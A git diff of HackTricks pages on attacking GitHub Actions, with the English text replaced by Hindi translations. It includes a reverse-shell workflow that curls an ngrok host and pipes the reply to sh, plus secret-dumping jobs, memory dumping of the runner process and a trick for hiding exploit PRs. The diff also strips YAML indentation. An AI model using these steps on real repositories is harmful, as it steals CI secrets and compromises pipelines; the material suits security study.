+[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह `पूर्ण`, `अनुरोधित` या `प्रगति में` हो।
+इस उदाहरण में, एक कार्यप्रवाह को अलग "टेस्ट चलाएँ" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:
```yaml
on:
- workflow_run:
- workflows: [Run Tests]
- types:
- - completed
+workflow_run:
+workflows: [Run Tests]
+types:
+- completed
```
-
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
-This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
-The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
+इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक **वर्कफ़्लो** पर **निर्भर** है जिसे एक बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **प्रेरित** किया जा सकता है। कुछ कमजोर उदाहरण [**इस ब्लॉग में पाया जा सकता है**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण **`workflow_run`** द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: `${{ github.event.pull_request.head.sha }}`\
+दूसरा उदाहरण **`workflow_run`** वर्कफ़्लो में **अविश्वसनीय** कोड से एक **कलाकृति** को **पास** करने और इस कलाकृति की सामग्री का उपयोग करने पर आधारित है, जिससे यह **RCE के लिए कमजोर** हो जाता है।
### `workflow_call`
TODO
-TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
+TODO: जांचें कि जब इसे pull_request से निष्पादित किया जाता है तो उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से
-## Abusing Forked Execution
+## फोर्क किए गए निष्पादन का दुरुपयोग
-We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
+हमने सभी तरीकों का उल्लेख किया है जिनसे एक बाहरी हमलावर एक गिटहब वर्कफ़्लो को निष्पादित करने में सक्षम हो सकता है, अब आइए देखें कि यदि ये निष्पादन, यदि गलत तरीके से कॉन्फ़िगर किए गए हैं, तो कैसे दुरुपयोग किया जा सकता है:
-### Untrusted checkout execution
+### अविश्वसनीय चेकआउट निष्पादन
-In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
+**`pull_request`** के मामले में, वर्कफ़्लो **PR के संदर्भ में** निष्पादित होगा (इसलिए यह **दुष्ट PR का कोड** निष्पादित करेगा), लेकिन किसी को इसे **पहले अधिकृत** करना होगा और यह कुछ [सीमाओं](./#pull_request) के साथ चलेगा।
-In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
+यदि एक वर्कफ़्लो **`pull_request_target` या `workflow_run`** का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर है जिसे **`pull_request_target` या `pull_request`** से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए **हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता**।
> [!CAUTION]
-> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
+> हालाँकि, यदि **एक्शन** में एक **स्पष्ट PR चेकआउट** है जो **PR से कोड प्राप्त करेगा** (और आधार से नहीं), तो यह हमलावर के नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है):
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
+संभावित रूप से **अविश्वसनीय कोड `npm install` या `npm build` के दौरान चलाया जा रहा है** क्योंकि निर्माण स्क्रिप्ट और संदर्भित **पैकेज PR के लेखक द्वारा नियंत्रित हैं**।
> [!WARNING]
-> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
+> कमजोर एक्शन की खोज के लिए एक गिटहब डॉर्क है: `event.pull_request pull_request_target extension:yml` हालाँकि, भले ही एक्शन को असुरक्षित रूप से कॉन्फ़िगर किया गया हो, फिर भी कार्यों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं (जैसे कि यह देखने के लिए कि PR उत्पन्न करने वाला अभिनेता कौन है)।
-### Context Script Injections
+### संदर्भ स्क्रिप्ट इंजेक्शन
-Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
+ध्यान दें कि कुछ [**गिटहब संदर्भ**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) हैं जिनके मान **उपयोगकर्ता** द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब एक्शन उस **डेटा का उपयोग करके कुछ निष्पादित कर रहा है**, तो यह **मनमाने कोड निष्पादन** की ओर ले जा सकता है:
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Script Injection**
+### **GITHUB_ENV स्क्रिप्ट इंजेक्शन**
-From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
+दस्तावेज़ों के अनुसार: आप एक वर्कफ़्लो नौकरी में किसी भी बाद के चरणों के लिए एक **पर्यावरण चर उपलब्ध** करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे **`GITHUB_ENV`** पर्यावरण फ़ाइल में लिखकर।
-If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
+यदि एक हमलावर इस **env** चर के अंदर **कोई भी मान** **इंजेक्ट** कर सकता है, तो वह env चर को इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकता है जैसे **LD_PRELOAD** या **NODE_OPTIONS**।
-For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
+उदाहरण के लिए ([**यह**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) और [**यह**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), कल्पना करें कि एक वर्कफ़्लो एक अपलोड की गई कलाकृति पर भरोसा कर रहा है ताकि इसकी सामग्री को **`GITHUB_ENV`** env चर के अंदर संग्रहीत किया जा सके। एक हमलावर इसे समझौता करने के लिए कुछ इस तरह अपलोड कर सकता है:
-### Vulnerable Third Party Github Actions
+### कमजोर तृतीय पक्ष गिटहब एक्शन
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
+जैसा कि [**इस ब्लॉग पोस्ट**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में उल्लेख किया गया है, यह गिटहब एक्शन विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंच की अनुमति देता है।
-The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
-
-Example of vulnerable workflow:
+समस्या यह है कि यदि **`path`** पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में वर्कफ़्लो में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य वर्कफ़्लो को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं।
+कमजोर वर्कफ़्लो का उदाहरण:
```yaml
on:
- workflow_run:
- workflows: ["some workflow"]
- types:
- - completed
+workflow_run:
+workflows: ["some workflow"]
+types:
+- completed
jobs:
- success:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v2
- - name: download artifact
- uses: dawidd6/action-download-artifact
- with:
- workflow: ${{ github.event.workflow_run.workflow_id }}
- name: artifact
- - run: python ./script.py
- with:
- name: artifact
- path: ./script.py
+success:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@v2
+- name: download artifact
+uses: dawidd6/action-download-artifact
+with:
+workflow: ${{ github.event.workflow_run.workflow_id }}
+name: artifact
+- run: python ./script.py
+with:
+name: artifact
+path: ./script.py
```
-
-This could be attacked with this workflow:
-
+यह इस वर्कफ़्लो के साथ हमला किया जा सकता है:
```yaml
name: "some workflow"
on: pull_request
jobs:
- upload:
- runs-on: ubuntu-latest
- steps:
- - run: echo "print('exploited')" > ./script.py
- - uses actions/upload-artifact@v2
- with:
- name: artifact
- path: ./script.py
+upload:
+runs-on: ubuntu-latest
+steps:
+- run: echo "print('exploited')" > ./script.py
+- uses actions/upload-artifact@v2
+with:
+name: artifact
+path: ./script.py
```
-
---
-## Other External Access
+## अन्य बाहरी पहुँच
-### Deleted Namespace Repo Hijacking
+### हटाए गए Namespace Repo Hijacking
-If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+यदि एक खाता अपना नाम बदलता है, तो कुछ समय बाद कोई अन्य उपयोगकर्ता उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि एक रिपॉजिटरी का **नाम बदलने से पहले 100 से कम सितारे थे**, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक **रिपॉजिटरी बनाने** की अनुमति देगा जो हटाई गई थी।
> [!CAUTION]
-> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
+> इसलिए यदि कोई क्रिया एक गैर-मौजूद खाते से एक रिपॉजिटरी का उपयोग कर रही है, तो यह संभव है कि एक हमलावर उस खाते को बना सके और क्रिया को समझौता कर सके।
-If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+यदि अन्य रिपॉजिटरी **इस उपयोगकर्ता की रिपॉजिटरी से निर्भरताएँ** का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक करने में सक्षम होगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
-> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
+> इस अनुभाग में हम उन तकनीकों के बारे में बात करेंगे जो **एक रिपॉजिटरी से दूसरी रिपॉजिटरी में पिवट** करने की अनुमति देंगी, मानते हुए कि हमारे पास पहले वाले पर कुछ प्रकार की पहुँच है (पिछले अनुभाग की जाँच करें)।
-### Cache Poisoning
+### कैश पॉइज़निंग
-A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
+एक कैश **समान शाखा में वर्कफ़्लो रन के बीच** बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर **एक पैकेज को समझौता करता है** जो फिर कैश में संग्रहीत होता है और **डाउनलोड** और **अधिक विशेषाधिकार प्राप्त** वर्कफ़्लो द्वारा निष्पादित होता है, तो वह उस वर्कफ़्लो को भी **समझौता** कर सकेगा।
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
-### Artifact Poisoning
+### आर्टिफैक्ट पॉइज़निंग
-Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
+वर्कफ़्लो **अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स** का उपयोग कर सकते हैं, यदि एक हमलावर उस Github Action को **समझौता** करने में सफल होता है जो एक आर्टिफैक्ट **अपलोड** करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह **अन्य वर्कफ़्लो को समझौता** कर सकता है:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
-## Post Exploitation from an Action
+## एक क्रिया से पोस्ट एक्सप्लॉइटेशन
-### Accessing AWS and GCP via OIDC
+### OIDC के माध्यम से AWS और GCP तक पहुँच
-Check the following pages:
+निम्नलिखित पृष्ठों की जाँच करें:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
-### Accessing secrets
+### रहस्यों तक पहुँच
-If you are injecting content into a script it's interesting to know how you can access secrets:
+यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं:
-- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
+- यदि रहस्य या टोकन को **पर्यावरण चर** पर सेट किया गया है, तो इसे **`printenv`** का उपयोग करके सीधे पर्यावरण के माध्यम से पहुँचा जा सकता है।
-List secrets in Github Action output
-
+Github Action आउटपुट में रहस्यों की सूची
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - '**'
- push: # Run it when a push is made to a branch
- branches:
- - '**'
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- '**'
+push: # Run it when a push is made to a branch
+branches:
+- '**'
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+गुप्तों के साथ रिवर्स शेल प्राप्त करें
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- - ```bash
- cat /home/runner/work/_temp/*
- ```
-- For a JavaScript actions the secrets and sent through environment variables
- - ```bash
- ps axe | grep node
- ```
-- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- यदि गुप्त को **एक्सप्रेशन में सीधे** उपयोग किया जाता है, तो उत्पन्न शेल स्क्रिप्ट **ऑन-डिस्क** संग्रहीत होती है और इसे एक्सेस किया जा सकता है।
+- ```bash
+cat /home/runner/work/_temp/*
+```
+- JavaScript क्रियाओं के लिए गुप्त को पर्यावरण चर के माध्यम से भेजा जाता है
+- ```bash
+ps axe | grep node
+```
+- एक **कस्टम क्रिया** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि एक प्रोग्राम ने **आर्गुमेंट** से प्राप्त गुप्त का उपयोग कैसे किया:
- ```yaml
- uses: fakeaction/publish@v3
- with:
- key: ${{ secrets.PUBLISH_KEY }}
- ```
+```yaml
+uses: fakeaction/publish@v3
+with:
+key: ${{ secrets.PUBLISH_KEY }}
+```
-### Abusing Self-hosted runners
+### स्वयं-होस्टेड रनर्स का दुरुपयोग
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में **`runs-on: self-hosted`** के लिए खोजें।
-**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
-
-In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
+**स्वयं-होस्टेड** रनर्स को **अतिरिक्त संवेदनशील जानकारी** तक पहुंच हो सकती है, अन्य **नेटवर्क सिस्टम** (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, **एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं** और दुर्भावनापूर्ण एक **दूसरे के गुप्त को चुरा सकती है**।
+स्वयं-होस्टेड रनर्स में यह भी संभव है कि **\_Runner.Listener**\_\*\* प्रक्रिया\*\* से **गुप्त प्राप्त करें** जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके रखेगा:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Check [**इस पोस्ट में अधिक जानकारी के लिए**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Images Registry
-It's possible to make Github actions that will **build and store a Docker image inside Github**.\
-An example can be find in the following expandable:
+यह संभव है कि Github actions बनाई जाएं जो **Github के अंदर एक Docker छवि का निर्माण और संग्रह करें**।\
+एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:
Github Action Build & Push Docker Image
-
```yaml
[...]
- name: Set up Docker Buildx
- uses: docker/setup-buildx-action@v1
+uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
- uses: docker/login-action@v1
- with:
- registry: ghcr.io
- username: ${{ github.repository_owner }}
- password: ${{ secrets.ACTIONS_TOKEN }}
+uses: docker/login-action@v1
+with:
+registry: ghcr.io
+username: ${{ github.repository_owner }}
+password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
- run: |
- sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
+run: |
+sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
- uses: docker/build-push-action@v2
- with:
- context: .
- push: true
- tags: |
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
+uses: docker/build-push-action@v2
+with:
+context: .
+push: true
+tags: |
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
-
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
-
-A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
+जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** में होस्ट की गई है।
+एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-
-Then, the user could search for **leaked secrets in the Docker image layers:**
+फिर, उपयोगकर्ता **Docker छवि परतों में लीक हुए रहस्यों** के लिए खोज कर सकता है:
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
-### Sensitive info in Github Actions logs
+### Github Actions लॉग में संवेदनशील जानकारी
-Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+यहां तक कि अगर **Github** **क्रियाओं के लॉग में रहस्यमय मानों** का **पता लगाने** और **उन्हें दिखाने से बचने** की कोशिश करता है, तो **अन्य संवेदनशील डेटा** जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, तब तक छिपा नहीं होगा जब तक कि इसे [विशेष रूप से कॉन्फ़िगर](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) नहीं किया गया हो।
-## Covering your Tracks
+## अपने निशान छुपाना
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
+(तकनीक [**यहां**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) से) सबसे पहले, कोई भी PR जो उठाया गया है, वह Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए स्पष्ट रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **इंटरनेट से एक PR को हटा नहीं सकते**, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो **Github द्वारा निलंबित** हैं, उनके सभी **PRs स्वचालित रूप से हटा दिए जाते हैं** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने **GitHub खाते को निलंबित** कराना होगा या अपने खाते को **फ्लैग** कराना होगा। यह **आपकी सभी गतिविधियों** को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा)
-An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
+GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और आपके पास है, अपने शोषण को github पर अदृश्य बना दिया।
> [!WARNING]
-> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
+> एक संगठन के लिए यह पता लगाने का एकमात्र तरीका है कि वे लक्षित हुए हैं, SIEM से GitHub लॉग की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।
-## Tools
+## उपकरण
-The following tools are useful to find Github Action workflows and even find vulnerable ones:
+निम्नलिखित उपकरण GitHub Action वर्कफ़्लो खोजने और यहां तक कि कमजोर लोगों को खोजने के लिए उपयोगी हैं:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index ae156de2d..59da712ac 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1,6 +1 @@
# Gh Actions - Artifact Poisoning
-
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index 024aa5ff8..c9546507f 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1,6 +1 @@
-# GH Actions - Cache Poisoning
-
-
-
-
-
+# GH Actions - कैश पॉइज़निंग
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 3cd632bd0..9cef507bc 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,6 +1 @@
# Gh Actions - Context Script Injections
-
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index f19fa699e..cec27db0b 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,60 +1,56 @@
-# Accessible Deleted Data in Github
+# Github में पहुँच योग्य हटाई गई डेटा
{{#include ../../banners/hacktricks-training.md}}
-This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Github से डेटा तक पहुँचने के ये तरीके जो कथित तौर पर हटाए गए थे [**इस ब्लॉग पोस्ट में रिपोर्ट किए गए थे**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-## Accessing Deleted Fork Data
+## हटाए गए फोर्क डेटा तक पहुँच
-1. You fork a public repository
-2. You commit code to your fork
-3. You delete your fork
+1. आप एक सार्वजनिक रिपॉजिटरी को फोर्क करते हैं
+2. आप अपने फोर्क में कोड कमिट करते हैं
+3. आप अपने फोर्क को हटा देते हैं
> [!CAUTION]
-> The data commited in the deleted fork is still accessible.
+> हटाए गए फोर्क में कमिट किया गया डेटा अभी भी पहुँच योग्य है।
-## Accessing Deleted Repo Data
+## हटाए गए रिपॉजिटरी डेटा तक पहुँच
-1. You have a public repo on GitHub.
-2. A user forks your repo.
-3. You commit data after they fork it (and they never sync their fork with your updates).
-4. You delete the entire repo.
+1. आपके पास GitHub पर एक सार्वजनिक रिपॉजिटरी है।
+2. एक उपयोगकर्ता आपकी रिपॉजिटरी को फोर्क करता है।
+3. आप उनके फोर्क करने के बाद डेटा कमिट करते हैं (और वे कभी भी अपने फोर्क को आपके अपडेट के साथ सिंक नहीं करते)।
+4. आप पूरी रिपॉजिटरी को हटा देते हैं।
> [!CAUTION]
-> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
+> भले ही आपने अपनी रिपॉजिटरी को हटा दिया हो, इसमें किए गए सभी परिवर्तन अभी भी फोर्क के माध्यम से पहुँच योग्य हैं।
-## Accessing Private Repo Data
+## निजी रिपॉजिटरी डेटा तक पहुँच
-1. You create a private repo that will eventually be made public.
-2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
-3. You make your “upstream” repository public and keep your fork private.
+1. आप एक निजी रिपॉजिटरी बनाते हैं जो अंततः सार्वजनिक की जाएगी।
